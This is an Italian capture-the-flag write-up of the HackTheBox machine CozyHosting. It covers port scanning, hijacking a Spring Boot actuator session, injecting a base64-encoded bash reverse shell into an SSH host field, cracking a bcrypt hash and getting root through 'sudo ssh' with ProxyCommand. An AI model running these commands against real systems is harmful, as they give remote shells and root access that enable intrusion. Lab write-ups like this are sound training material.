CozyHosting

Autore: Lord Shiva Aggiornamento: 23.09.2023 Tempo di lettura: 10 min.
 

Per prima cosa come sempre eseguo una scansione della macchina per capire queli porte sono aperte con il seguente comando:

nmap -sC -sV <ip_target>

Il risultato è il seguente:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4356bca7f2ec46ddc10f83304c2caaa8 (ECDSA)
|_  256 6f7a6c3fa68de27595d47b71ac4f7e42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Una votla aggiunto il dominio al mio hosts trovo la seguente schermata:

Provo a eseguire alcune azioni di SQL Injection sulla login ma senza risultati. Così provo a vedere se vi sono delle directory nascoste:

dirb -u http://cozyhosting.htb/  /usr/share/wordlists/dirb/small.txt

La cartella admin sembra interessante ma riporta alla schermata di login. Se invece proviamo ad andare su /error troviamo la seguente schemrata:

Questo è un errore di Spring Boot. Ciò significa che potrebbero esserci endpoint aggiuntivi nell'applicazione come /actuator ;-)

Nella sessione ho trovato l'utente kanderson e nuovi endpoint /executessh e /addhost nella directory /actuator/mappings... Quindi possiamo utilizzare cookie di sessione e accedere alla directory /admin

di seguito sono riportate le impostazioni di connessione

Invece del nome possiamo caricare una shell inversa...

 

echo "bash -i >& /dev/tcp//7777 0>&1" | base64 -w 0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjYvNzc3NyAwPiYxCg==

ma abbiamo bisogno di un formato URL senza spazi vuoti in modo da poter aggiungere ${IFS%??}, ; alla fine e all'inizio per questo sono andato sul seguente sito https://www.urlencoder.org/ e ho codificato la mia stringa

nc dovrebbe funzionare durante la richiesta...

A questo punto scarico il file jar e mi installo jd-gui per leggerlo.
In application.properties trovo la password per postgres e in schedule/FakeUser.class trovo le credenziali per l'utente kanderson:

A questo punto controllo il database

...ma cos'è quella hash?

A questo punto eseguo hashcat per trovare la password dell'utente josh, unico utente presente nella directory home.

hashcat -a 0 -m 3200 hash.txt rockyou.txt

Il risultato è la password dell'utente manchesterunited

Prima flag catturata: d71..........................e79

Adesso vediamo se l'utente può eseguire comandi root...

Questo è il risultato del comando sudo -l

[sudo] password for josh:
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

Grazie a questo https://gtfobins.github.io/gtfobins/ssh/#sudo riesco a fare l'escalation e di prendere la root flag:

sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x

09c...........................6a3